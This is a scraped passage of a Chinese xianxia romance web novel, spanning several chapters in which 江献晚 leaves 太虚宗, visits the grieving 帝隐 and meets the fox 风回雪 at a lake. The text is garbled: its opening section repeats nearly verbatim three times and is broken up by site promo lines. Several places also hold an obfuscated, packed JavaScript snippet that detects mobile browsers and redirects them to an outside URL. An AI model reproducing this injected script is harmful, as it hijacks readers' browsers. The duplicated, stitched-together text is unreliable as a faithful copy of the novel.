林轻染被落了面子,定然不会善罢甘休。 江献晚古怪地看了他一眼,缓缓直起身子。 临走时突然对两个眼巴巴瞧着她的少年回眸一笑,“时师兄秦师兄,我可没胡说。” “林轻染能到娶一个算他妈我输!” 时云霄:“……” 秦秦:“……” 那你倒是说,你到底为了谁要跟林轻染抢人啊! 还是说……全抢? 望着她离开的方向,秦秦竟觉得有些怅然若失。 时云霄更是不自觉的追了两步。 相见恨晚。 他为什么觉得这个相见恨晚,让他有种……相见恨晚的感觉! 江献晚在穿过太虚宗结界的那刻,同回凤仪台的四道身影擦身而过。 全当做看不见花不休欲言又止的神色,侧身躲过下意识伸手挽留的三个少年,加快速度。 “哥!” “拦下她!” 骤然间,一声急促得近乎崩溃的嗓音,自身后撕裂空气般响起。 潋浮台上,云为泽身形急掠而出,如一道失控的惊鸿,向来从容的眉眼此刻染满了破碎的慌张。 那慌乱如此深切,以至于他的声音都透出嘶哑,字字在喉间破裂。 某种原胜理智的身体本能,先一步觉醒,在云为泽越过他,指尖如捕一缕短暂却灼目的天光。 花不休身形如电疾掠而至,五指凌空疾扣。 将云为泽狠狠扯回! 江献晚眸光倏然一颤,只听一声“刺啦”的裂帛声响,徒留一角破碎的青衣被云为泽紧紧攥在指间。 她咬着牙关,始终没有回头,如青烟般,再无踪迹。 更不曾看见,身后那五个身影,僵立在原地,如同被骤然抽离了魂魄,眼底尽是迷失重要至宝般的空茫与无措。 云为泽被花不休死死扣着肩头,眼睁睁望着那道身影彻底消失在视线尽头,双眸骤然涌起一片骇人的猩红。 他猛地挥开花不休的手,神情失控,宛如一头被困牢笼、遍体鳞伤的野兽。 嘶声低吼。 “为什么!” “为什么要拦着我!为什么要放她走!” “你明知她……” “云为泽!” 花不休一拳重重击在他面颊上,将他未尽之语逼了回去。 难吐出几个字,“你别撒娇。” 江献晚:“……?” 时云霄:“……?” 就连时云霄也扭头看他。 她哪里撒娇了? 你从哪听出她撒娇了? 她方才也喊我师兄了啊! 被两双目光直勾勾的盯着,秦秦耳尖愈发的红,懊恼的又抿了一下唇。 努力使自己的声音,听起来很冷漠。 嘴里反倒是不由自主说着关心的话。 “你既已听到,莫要再在信道里胡言乱语,这次便放过你擅闯太虚宗一事。” 林轻染被落了面子,定然不会善罢甘休。 江献晚古怪地看了他一眼,缓缓直起身子。 临走时突然对两个眼巴巴瞧着她的少年回眸一笑,“时师兄秦师兄,我可没胡说。” “林轻染能到娶一个算他妈我输!” 时云霄:“……” 秦秦:“……” 那你倒是说,你到底为了谁要跟林轻染抢人啊! 还是说……全抢? 望着她离开的方向,秦秦竟觉得有些怅然若失。 时云霄更是不自觉的追了两步。 相见恨晚。 他为什么觉得这个相见恨晚,让他有种……相见恨晚的感觉! 江献晚在穿过太虚宗结界的那刻,同回凤仪台的四道身影擦身而过。 全当做看不见花不休欲言又止的神色,侧身躲过下意识伸手挽留的三个少年,加快速度。 “哥!” “拦下她!” 骤然间,一声急促得近乎崩溃的嗓音,自身后撕裂空气般响起。 潋浮台上,云为泽身形急掠而出,如一道失控的惊鸿,向来从容的眉眼此刻染满了破碎的慌张。 那慌乱如此深切,以至于他的声音都透出嘶哑,字字在喉间破裂。 某种原胜理智的身体本能,先一步觉醒,在云为泽越过他,指尖如捕一缕短暂却灼目的天光。 花不休身形如电疾掠而至,五指凌空疾扣。 将云为泽狠狠扯回! 江献晚眸光倏然一颤,只听一声“刺啦”的裂帛声响,徒留一角破碎的青衣被云为泽紧紧攥在指间。 她咬着牙关,始终没有回头,如青烟般,再无踪迹。 更不曾看见,身后那五个身影,僵立在原地,如同被骤然抽离了魂魄,眼底尽是迷失重要至宝般的空茫与无措。 云为泽被花不休死死扣着肩头,眼睁睁望着那道身影彻底消失在视线尽头,双眸骤然涌起一片骇人的猩红。 他猛地挥开花不休的手,神情失控,宛如一头被困牢笼、遍体鳞伤的野兽。 嘶声低吼。 “为什么!” “为什么要拦着我!为什么要放她走!” “你明知她……” “云为泽!” 花不休一拳重重击在他面颊上,将他未尽之语逼了回去。 难吐出几个字,“你别撒娇。” 江献晚:“……?” 时云霄:“……?” 就连时云霄也扭头看他。 她哪里撒娇了? 你从哪听出她撒娇了? 她方才也喊我师兄了啊! 被两双目光直勾勾的盯着,秦秦耳尖愈发的红,懊恼的又抿了一下唇。 努力使自己的声音,听起来很冷漠。 嘴里反倒是不由自主说着关心的话。 “你既已听到,莫要再在信道里胡言乱语,这次便放过你擅闯太虚宗一事。” 林轻染被落了面子,定然不会善罢甘休。 江献晚古怪地看了他一眼,缓缓直起身子。 临走时突然对两个眼巴巴瞧着她的少年回眸一笑,“时师兄秦师兄,我可没胡说。” “林轻染能到娶一个算他妈我输!” 时云霄:“……” 秦秦:“……” 那你倒是说,你到底为了谁要跟林轻染抢人啊! 还是说……全抢? 望着她离开的方向,秦秦竟觉得有些怅然若失。 时云霄更是不自觉的追了两步。 相见恨晚。 他为什么觉得这个相见恨晚,让他有种……相见恨晚的感觉! 江献晚在穿过太虚宗结界的那刻,同回凤仪台的四道身影擦身而过。 全当做看不见花不休欲言又止的神色,侧身躲过下意识伸手挽留的三个少年,加快速度。 “哥!” “拦下她!” 骤然间,一声急促得近乎崩溃的嗓音,自身后撕裂空气般响起。 潋浮台上,云为泽身形急掠而出,如一道失控的惊鸿,向来从容的眉眼此刻染满了破碎的慌张。 那慌乱如此深切,以至于他的声音都透出嘶哑,字字在喉间破裂。 某种原胜理智的身体本能,先一步觉醒,在云为泽越过他,指尖如捕一缕短暂却灼目的天光。 花不休身形如电疾掠而至,五指凌空疾扣。 将云为泽狠狠扯回! 江献晚眸光倏然一颤,只听一声“刺啦”的裂帛声响,徒留一角破碎的青衣被云为泽紧紧攥在指间。 她咬着牙关,始终没有回头,如青烟般,再无踪迹。 更不曾看见,身后那五个身影,僵立在原地,如同被骤然抽离了魂魄,眼底尽是迷失重要至宝般的空茫与无措。 云为泽被花不休死死扣着肩头,眼睁睁望着那道身影彻底消失在视线尽头,双眸骤然涌起一片骇人的猩红。 他猛地挥开花不休的手,神情失控,宛如一头被困牢笼、遍体鳞伤的野兽。 嘶声低吼。 “为什么!” “为什么要拦着我!为什么要放她走!” “你明知她……” “云为泽!” 花不休一拳重重击在他面颊上,将他未尽之语逼了回去。 难吐出几个字,“你别撒娇。” 江献晚:“……?” 时云霄:“……?” 就连时云霄也扭头看他。 她哪里撒娇了? 你从哪听出她撒娇了? 她方才也喊我师兄了啊! 被两双目光直勾勾的盯着,秦秦耳尖愈发的红,懊恼的又抿了一下唇。 努力使自己的声音,听起来很冷漠。 嘴里反倒是不由自主说着关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319047|177725||http|test|mini|href|location''.split(''|''),0,{})); () { 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临走时突然对两个眼巴巴瞧着她的少年回眸一笑,“时师兄秦师兄,我可没胡说。” “林轻染能到娶一个算他妈我输!” 时云霄:“……” 秦秦:“……” 那你倒是说,你到底为了谁要跟林轻染抢人啊! 还是说……全抢? 望着她离开的方向,秦秦竟觉得有些怅然若失。 时云霄更是不自觉的追了两步。 相见恨晚。 他为什么觉得这个相见恨晚,让他有种……相见恨晚的感觉! 江献晚在穿过太虚宗结界的那刻,同回凤仪台的四道身影擦身而过。 全当做看不见花不休欲言又止的神色,侧身躲过下意识伸手挽留的三个少年,加快速度。 “哥!” “拦下她!” 骤然间,一声急促得近乎崩溃的嗓音,自身后撕裂空气般响起。 潋浮台上,云为泽身形急掠而出,如一道失控的惊鸿,向来从容的眉眼此刻染满了破碎的慌张。 那慌乱如此深切,以至于他的声音都透出嘶哑,字字在喉间破裂。 某种原胜理智的身体本能,先一步觉醒,在云为泽越过他,指尖如捕一缕短暂却灼目的天光。 花不休身形如电疾掠而至,五指凌空疾扣。 将云为泽狠狠扯回! 江献晚眸光倏然一颤,只听一声“刺啦”的裂帛声响,徒留一角破碎的青衣被云为泽紧紧攥在指间。 她咬着牙关,始终没有回头,如青烟般,再无踪迹。 更不曾看见,身后那五个身影,僵立在原地,如同被骤然抽离了魂魄,眼底尽是迷失重要至宝般的空茫与无措。 云为泽被花不休死死扣着肩头,眼睁睁望着那道身影彻底消失在视线尽头,双眸骤然涌起一片骇人的猩红。 他猛地挥开花不休的手,神情失控,宛如一头被困牢笼、遍体鳞伤的野兽。 嘶声低吼。 “为什么!” “为什么要拦着我!为什么要放她走!” “你明知她……” “云为泽!” 花不休一拳重重击在他面颊上,将他未尽之语逼了回去。 第 333 章 你要留下她吗 那一拳几乎用尽他全部力气,却仿佛也砸在了自己心口。 花不休踉跄着后退几步,望着本该是雍容华贵的南帝尊此刻狼狈地跌退,眼眶湿润,粗重喘息着,仍死死望向那空荡荡的远处。 而他自己又何尝不是双眸割裂的骇人,充红一片。 忽然举袖掩面,良久,才发出一声极轻的哽咽。 “云为泽…… 他声音颤抖,如同从胸腔最深处挣扎而出,浸着血的气味。 “你要留下她吗……留她在…… “这样一个……乌烟瘴气的尘世…… 因他们。 云为泽蓦然怔住,连眼底的泪都凝于睫上,唯余一片空洞的苍白。 是了。 他们察觉出了不对。 已是自身难保,满身泥泞。 甚至……不是自己。 还要……留下她吗? 留她在这样一个破碎不堪的世界。 无法护她半分。 可…… 他不甘。 甚至,嫉妒另一个尘世的自己。 嫉妒那枚铃铛,就那样明晃晃的坠在那截纤细的足踝之上。 是他们的…… 又不是他们的…… 而他们,早就该死的。 可笑连死都不敢,被**于股掌之间,还要为了这天下苍生,一忍再忍。 林轻染和她背后的东西……要的是他们十八个的气运! 他们不死,这苍生,就还能有一线生机。 或许待到林轻染与那邪物飞升之际,便扛不住天道降下的雷霆之罚。 可若此刻就失了他们的气运作抵…… 两境三域,必将因她与那邪物,天塌地陷,万物倾覆! “我…… 他喉结沉沉滚动几下,咽不回苦涩到崩溃的泪水。 忽而泣不成声。 “哥……我只是……只是……想亲口告诉她…… “我是……干净的…… “我真的……是……干净的…… 可那个人,不会听见。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 江献晚一鼓作气离开太虚宗直至那宏伟的宗门凝缩成遥远的小点。 力竭般双膝一软重重跪倒在地。 指尖深深抠入湿润的土壤沙砾埋藏于下硌得她十指生疼浑身发抖。 花不休他们已是进无路退无门只能眼睁睁看着自己的气运被一点点抽离神魂暗淡挣脱不得。 或许连帝隐他们也一样陷入这进退不得的死局。 她不能留下。 留下只会害了花不休他们。 江献晚狠狠拿袖子抹了一把泪还是决定去看一看。 果不其然追杀搜寻她的修士不计其数。 她没放在心上闷头赶路终于一步踏入万古宗结界。 不过倒没打算将十八位美人统统找一遍。 此刻夜幕四合月影轻摇星河低垂无声笼罩着整片山峦。 她站在密密匝匝的树影间不多时远远望见一道自顶峰步下的少年。 那少年身形高挑宽肩腰窄即便隔着距离也难掩其风姿绰约。 正是裴长安。 江献晚心中微动片刻后终究收回了视线。 只要她能除了系统裴长安就是想跟林轻染成亲估计得对坟磕。 目光再投向峰顶那座凉亭果断将去探查一下雾渺状况的念头叉掉最终望向禁地那片红叶飒飒的枫叶林。 那里有一个传送阵直通巫云殿。 夜晚的巫云殿披着恍若轻纱的月华殿中住着天上那一弯冷月寂寥如雪。 而她最担心的就是帝隐。 他是否与林轻染有过什么…… 毕竟帝隐曾经因体内的污秽同她睡了一年。 这个尘世的他会不会像另一个世界里非她不可般非林轻染不可? 会不会也那样垂下眼帘红着眸子将对方紧紧拥入怀中认真又可爱的诉说自己的心意。 一想到那般画面江献晚不自觉掐紧了指尖。 她不得不承认她并没有把握。 且不说他是个无可救药的恋爱脑帝隐……他责任感强啊! 江献晚深深吸了几口气勉强迈开脚步没选择直接上而是 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 如与帝隐双修时那般,通过传送阵登上了巫云殿。 夜色如泼墨般浓重,整座宫殿静谧得如同悬浮于梦境中的仙阙画卷。 她抬眼望去,却在那一刹那膝间一软,蓦地止步。 半开的琉璃窗内,有人独坐案前,雪色银发如流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334488|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泻的月光垂落,衬得他姿容清绝,宛若玉山倾落。 肌肤冷白似新雪,双眸是琉璃一样的剔透,修长指节间执着一卷古旧书册,眸光却涣散的悬在半空。 仿佛那一页,永远也翻不过去。 忽而,他原本沉寂如冰的琉璃色眼眸倏然抬起。 一眼掠来,如风拂静潭,天地霎时无声。 一抬一垂之间,风华自成,已是人间至景。 就在此时,虚空中曳过一道星辰般的残影,头顶两只小角的白色龙鲤一闪而逝,随之而来的是漫天刮过来的冰雪之力。 画面美得虚幻,却裹挟着凛冽的冰**意。 遥相对望的两人谁也没动。 就在那铺天盖地的霜雪,在即将触及到江献晚的刹那,乍然粉碎,散作万千晶莹光点,纷扬飘散。 龙鲤大怒,还有被打了鱼脸的羞愤。 鱼鳍扑扇一震,骤然发力,就要将这个擅闯巫云殿的少女……一头创死。 江献晚:“……” 巨大无比的鱼,炮弹似的朝她扎来,看也不看龙鲤,缓缓抬起手。 龙鲤:“……” 登时来了个急刹,鱼嘴险些怼在她手指上。 窗边的男子眸光动了动。 最震惊的莫过于鱼,看着那枚白的若雪,泛着莹莹微光的鱼鳞。 两只鱼眼险些瞪的冒出来,鱼嘴一张,大声质问,“你怎么有我的鳞片!” 江献晚:“……” 因为,你贱。 将目光分它一眼,而后继续盯如花似玉的北帝尊。 “你自己从身上扣下来非要送给我的。” “鱼小白,你忘了?” 龙鲤:“……” 鱼小白?! 它从自己身上抠下来送给她的?! 还非要? 它有……这么贱的吗?! 鱼的脑子很小,根本想不起来有这么一回事。 它天天呆在这巫云殿,不是睡觉就是在睡觉的路上,什么时候见过女的,又什么时候抠自己的鳞片送给她了? 还有。 “你竟敢说尊贵的龙鲤是鱼!” 这句才是重点! 鱼小白一口气险些没上来,“呸”地一声,将泡泡吐在她脸上! “谁告诉你我是鱼了!还有,我不叫鱼小白!我叫龙鲤!” 第 334 章 失足少女 看着俩鱼鳍都在哆嗦,直将两只小角往她脸上怼的大白鱼,江献晚不走心的哦了一声。 没心情跟它讨论什么鱼不鱼,将鳞片随手塞它嘴里。 “哦,那送你了。” 鱼:“……” 张嘴,吐出鳞片,想吐给她两个泡泡,却在看到浮在半空的那片白鳞,鱼脑乱成一团浆糊。 这片发光的鳞片,真的是它的……雪银鳞! 怎么可能! 它怎么会把最引以为傲的、漂亮的鳞鳞,送给别人! 可世界上也只有它一个龙鲤啊! 独一无二! 再说,要真是它送给她的,她是怎么好意思反过来说“那送你了”,这种没道德的话的? 江献晚看它鱼脑不够的样子,很了解鱼恐怕要好好想一会儿了。 她没管鱼,静立于万象星垂的夜幕之下,身后是一轮皎皎弯月,半张脸没入朦胧的暗处。 看似泰然自若,实则疯狂措辞开场白。 面无表情的道一声,“北帝尊?” 又或者,自来熟的打招呼,“我顺路来做个客?” 她倒不担心帝隐上来就削她,相对花美人他们几个,帝隐性子看似难以亲近,实则是脾气最好的那个。 不过,这个世界里……倒也不一定。 江献晚思绪渐渐飘远,眸光也随之涣散开来,显然是走神了。 自然未曾察觉,帝隐已无声无息地将手中书卷轻轻搁下。 直至一缕刻入骨髓的微凉气息倏然逼近,停在恰到好处的距离,已足够带来无形的压迫。 江献晚骤然回神,曾在榻间被全然支配、几近窒息的恐惧噌地窜上脊背。 几乎是反射性地向后蹭蹭退了两步,拉开距离。 眼前之人,雪衣银发,清冷如云端孤雪,九重谪仙,偏偏勾起人心深处……一丝想要将其沾染的妄念。 他广袖如雪垂落,眉目疏淡,一痕一画皆是岁月沉淀下的寂寥。 微垂双眸,墨色长睫掩着一双清寒剔透的眸子,其中似盛着流转的万象星辉,令满天星辰都黯然失色。 而此刻,那一双本该映尽天光的琉璃眸,罕见的凝着一片恍惚。 如同 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 雪后出霁的湖面蓦然被风搅乱了倒映的云影天光。 “我的……铃铛。” 他声音低哑浸在浓雾之中透出从未有过的茫然。 “我们……可曾见过?” 话甫出口眼底漾开一层剧烈的波动裂出细纹碎光凌乱。 那一问像是在问她更像是在叩问自己神魂深处。 随即那从未沾染过尘俗的眼角竟不由自主地泛起了一抹薄红雪地点燃的第一缕残霞般悄然而灼目。 江献晚没有吭声呼吸无声滞了一息。 帝隐静静瞧着她的眉眼语气带着几分不确定的探寻。 “我好像……应该认识你。” 毫无缘由。 他曾经从未踏出过巫云殿 此次若非厄弓遗失虚古境动荡雾渺的徒儿又忽然提出那样一个条件他仍会永寂于此。 无人知晓他已在这扇窗边独坐了多久。 岁月无声神魂快要干涸。 可就在这一刻那片空旷寂寥的神识之海中像是倏然投落一颗小石子。 那枚雪色的铃铛……是他的! 帝隐紧紧凝眸注视着眼前的少女不自觉地屏住了呼吸。 怕惊散一场易碎的梦。 薄唇轻启将声音压得极低如同拂过雪地的微风生怕惊扰了咫尺之间的人。 “我想知道你……叫什么?” 江献晚从铃铛上收回视线静静的看着他的眸子。 “早早。” “不要迟到早早来的早早。” 她时常去晚帝隐等的辛苦忍的可怜。 看似无欲无求雪堆似的一个人可唯有她知道每每床帐垂落、烛影摇红之时他总会褪去那身清冷皮囊失控得如同雪崩。 帝隐听着那声软语唇角不自觉牵起一丝陌生的弧度低声重复。 “早早……” “早早……” 二字在他唇齿间流转竟漾出几分许久未见的清润甚至……是从未有过的缱绻。 “骗子。”他忽然低声吐出二字语气里浸着几分委屈。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她分明不叫早早。 “你是不是……叫晚晚?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334489|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没错过少女眼底一闪而逝的狡黠。 江献晚眸光轻动,沉默良久,终于在他的注视中敛回心神。 答非所问。 “你和林轻染,有没有……在一起过?” 她问的直白,字字清晰,不容回避。 帝隐先是一怔,随即急急脱口,“没有!” 他语气急促,像是生怕迟了一秒,她会不信。 “什么都没有!” 他又紧跟一句,语速越来越快,仿佛唯有如此,才能将一颗心全然捧出。 “凤仪和云为泽也没有的。” “我们……我们也不知道,就应了她……” “厄弓丢失,虚古境动荡,我们原本要以自身修为强行**……晚晚,我没有……是我错了……” “不是……这样的……” 不该是这样的…… 无人知晓,他看见她足踝上三枚铃铛时,神魂刹那割裂。 那枚冰若琉璃的,分明是他的。 其他两枚……是凤仪与云为泽的! 他脑中嗡鸣再起,鬓角浮出一层冷汗,再难思索她从何而来。 只是凭借本能,挤出残存的一丝清明,向她倾吐这些从未言说的真相。 望着他泛红的双眼,因痛苦而微微扭曲的面容,江献晚微怔。 她轻声问道:“你的秽气,怎么……拔除的?” 帝隐眸光倏地一颤,脸上浮现出一种近乎脆弱的惨白。 她果然……认得他。 此事除了云为泽和雾渺,再无他人知晓。 他声音低涩,每一个字都自喉间艰难磨出。 “闭关……几载。” 再度抬眼,从那枚铃铛上勉强拉回视线,眼底情绪如潮汹涌,颤声问道:“你,是谁?” 他的记忆里,不曾有她。 可心中却蓦地涌起一个近乎疯狂的猜测—— 与凤仪和云为泽的念头,不谋而合。 她或许……根本不属于这个尘世! 江献晚睫毛轻颤,随手拨开叼着鳞片,凑过来想说什么的鱼,回答他的问题。 一字一句。 “我是跟你睡了一年,给你生了儿子,却被你丢下我们娘俩不管的失足少女。” 帝隐:“……!” 第 335 章 我们的 失、失足少女…… 与他有了骨肉…… 又被他亲手丢弃的……娘俩?! 这般畜牲不如的行径……是他所为?! 帝隐清冷的面容僵了一下,瞳孔微微放大了。 那张总是淡漠疏离的脸上,头一次浮现出绝望而无措的呆滞。 一如她所熟悉的,另一个尘世的他。 “我,我……丟下了你和我们的……孩子…… 这是……他吗? 这是……人能干出的事? 看着帝隐迅速泛红的眼角,和破碎自责的目光,江献晚心底没有丝毫愧疚,反而……升起一丝顽劣的坏坏笑意。 眼眸深深,还有点赞叹佛如。 合着闭关几年就能拔除污秽,他硬生生忍着不自解……就等她? 这,合理吗? 帝隐打起小算盘……还真是噼里啪啦。 以前他当着云为泽的面,说是他自个见色起意,她当时还觉得夸张了。 没想到,帝隐实诚的离谱。 还真是对她见色起意…… 见她不答,唇角只朝他露出一个委委屈屈的小弧度,帝隐慌的手足无措。 “晚晚……不是的…… “我,我跟你……儿,儿子…… 他结结巴巴,看起来急的都要哭了。 可在那慌乱之下,汹涌而来的是几乎将他淹没的苦涩。 失态地向前踉跄一步,长睫无声湿润,泪光隐约闪烁。 声音里带着难以自持的哽咽。 “我们……真的有儿子? 他,信的。 却不信,自己竟会舍得丢下她和孩子。 江献晚扯了扯唇角,想笑,又笑不出来。 只安静的回望他,轻声反问。 “你不觉得我是在玩笑? 不等他回答,又径自说道:“那你知不知,你在榻间凶的很,最爱从背后顺着我的后颈亲到……呜呜…… 话未说完,江献晚被一只冰凉的手掌捂了嘴。 帝隐帝隐耳根染上一片绯红,眼睛湿意更浓。 可当指尖触碰 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 到那双柔软的不可思议的唇瓣,倏然惊觉自己这近乎孟浪、却又莫名熟稔的亲昵举止,如被灼伤般骤然收回手。 那一点残留的温热,便如烙印般刻在指尖,再也挥之不去。 他无意识咬住了唇,睫毛簌簌,宛如陷在蛛网中挣扎求生的蝴蝶。 语无伦次。 “我……我们…… “我们的儿子…… “江行行。江献晚忽然打断他。 在念出这个名字的刹那,她整个人的气场忽然变得异常温柔,眼底漾开细碎的光泽。 完全不似方才狡黠的,坏坏的笑意。 帝隐怔住了。 望着她柔软而又微微泛红的眼眶,忍不住轻声重复。 “江行行……行行…… “我们的……儿子…… “行行…… 这个名字在他唇齿间辗转,一种难以言喻的悸动猛地撞入神魂深处,激起剧烈的战栗。 他信的。 他怎会不信。 可…… 可下一刻,某种即将被洞穿的恐慌,骤然扼住了他的心脏。 他倏尔转身,雪色衣袂如流云骤散,拂过冰冷地面,不肯再让她看见自己一分一毫的神情。 声音极力压得平稳,却仍漏出些许难以拼凑的碎片。 与自己的心作对。 “我都不信。 “我不认识你。 “你,走吧。 他不知她为何……会来到这个满目苍夷的尘世。 她,不是这个尘世的人。 她,也不该留在这里。 她的世界,那个同他容貌一模一样的‘他’,才是她真正的归处。 此刻定也在万千焦急,寸心灼烧,盼她归来。 她既愿为‘他’坠着铃铛花,便定然原谅了“他犯下的错误。 那里有‘他’,有行行…… 凤仪,云为泽。 或许还有更多更多的人。 圆满如此,才配得上她。 而不是像他。 同凤仪云为泽那般,轻易允了林轻染 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 的要求。 大婚。 何等荒唐。 何等可笑。 声名尽毁,尊严荡然,他还有什么面目站在她的面前? 或许他从一开始,就只配这样无声无息地……沉入寂寥,消散于尘埃。 月下身影背对着她,心撕裂两半。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她用了两个很可爱。 让人不由自主的相信,江行行真的很可爱,任谁见了,都会从心底里软下来。 帝隐双手细细颤抖的接过,小心翼翼将那件柔软的寝衣,捧到眼前。 一股极淡的、属于孩童的奶香轻轻飘入鼻腔。 那股压抑许久的悸动再难抑制,猛地冲破胸腔,化作滚烫的酸涩直涌而上。 他猛地抬起湿漉漉的长睫,惊惶地向前疾追两步。 而那个凭空出现的少女,终于如他所愿,亦如一场幻梦……无影无踪。 第 336 章 你死定了 江献晚将神识没入墓碑,再次仔细查看了一下双生子的状态。 墓碑看着她跑来跑去忙活了几日,终是忍不住出声劝道:“你躺蚌壳里睡一会儿吧。” 它自然能感觉到江献晚状态很不好,也因此愈发不敢告诉她,造成这一切的缘由……其实正是…… 自她被天道一脚踹到这个世界,也仅仅在花不休身旁睡了片刻,再未合眼。 即便她的修为早已无需倚靠睡眠恢复,可它觉得,她是真的该好好歇一歇了。 江献晚摇了摇头,闷声只知赶路。 她要去寻风回雪。 只是一想到风回雪,心口便似被什么揪紧,又加快了些速度。 前往妖域一路,并不太平,修真界**夺宝,强夺修为之事时有发生。 碰到这类的人魔妖,江献晚二话不说,反手就是一墓碑,就地解决。 她不知杀了多少人魔妖,在昼夜不停赶了四日的路,终于踏入妖域边界。 闻着身上浓郁的血腥气,掐了祛尘诀,犹觉得滞涩难舒,索性找了一处隐于山林深处的幽静湖泊。 夏夜的湖水带着日晒后的微温,就连岸边的石块也残留着白昼烈日烘透的暖意。 耳畔虫鸣细碎,夹杂着小生物窸窣穿梭草叶的轻响。 她将双臂搭在一块还算平整的巨石上,侧脸枕着手臂,静静注视一只蝉缓慢地破土而出,一步步扒开树皮向上爬行。 四肢渐渐放松,眼皮也愈发沉重。 连日紧绷的疲倦如潮水漫涌,不知不觉间,竟在这片寂静温柔的夏夜里沉沉睡去。 她难得沉入一场梦境。 梦中的狐狸双眸哭得通红,泪珠断线,一颗接一颗不住地坠落,仿佛永远也流不尽。 她心急如焚,伸出手去,想替他擦拭,指尖却穿过了那道虚幻的身影—— “风回雪!” 江献晚陡然惊醒,一声急切的低呼划破寂静的夜。 哗啦—— 不远处的水声蓦地一滞。 风回雪惊愕回眸,这才发现五米开外的湖面悄然多了一道身影。 少女双臂雪白,脖颈纤长如釉,湿漉的乌发浸着月华,似墨玉般铺陈在她光洁的肩背。 水迹微漾,更衬得肌肤皎洁,宛若凝脂初露。 他愣了一下,慌忙转过身去,线条凌厉的上身倏地沉入水中,只留一颗脑袋露在外面,耳根不受控制地泛起薄红。 “我、我不是故意看你洗澡的!抱歉!我方才没发现这儿有人!” 妖帝风回雪,容色倾世之名传遍两境三域,无人不晓。 他下意识以为这少女认出了自己,一时情急,直接道出了他的身份。 他是真没发现这湖里还有其他人! 江献晚亦是有些错愕,她睫毛一颤,缓缓转过身。 目光定定落向水中那颗又慌又强作镇定的脑袋。 不是她的狐狸……还能是谁? 她唇角不自觉一扬,眸中似有碎星落湖,漾开点点笑意。 不得不说,她与风回雪之间的缘分,当真深得……令人意外。 她呼吸悄然放轻,纤瘦的脊背慵懒地倚在巨石之上,好整以暇的听着那妖冶绝色的男子,磕磕绊绊的解释,因久久得不到回应下,竟渐渐理直气壮起来。 直到……恼羞成怒。 “小爷我自己就是美人一个,若真想看,对着镜子照一照不就好了?” “我犯得着贪图你的美色?” “大半夜不睡觉,跑这荒山野湖来偷看你?你说,我能图什么?” 也怪他,衣袍沾了点灰就浑身不自在。 哪能想到这深更半夜,洗澡的还不只他一个。 “难不成图你这个没有我长得好看的人族两脚……” 他骂骂咧咧,骤然回身,话音却戛然而止。 风回雪:“……!” 倏尔一愣。 月光如练,静静铺洒在幽寂的湖面之上。 水波清浅,漾着碎银一般粼粼的光。 那人浸在水中,海藻般的长发逶迤散开,有几缕黏在光滑的肩头,更衬得肌肤胜雪。 水珠沿着她纤细的脖颈滚落,滑过玲珑的锁骨,最终没入波光荡漾之处。 氤氲的水汽柔柔萦绕在她周身,模糊了玲珑曲线。 湿润的长睫轻颤,染着细碎月华,宛若蝶翼沾露。 她的目光沉静,同样望进他眼中,仿佛也望进了另一重时 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 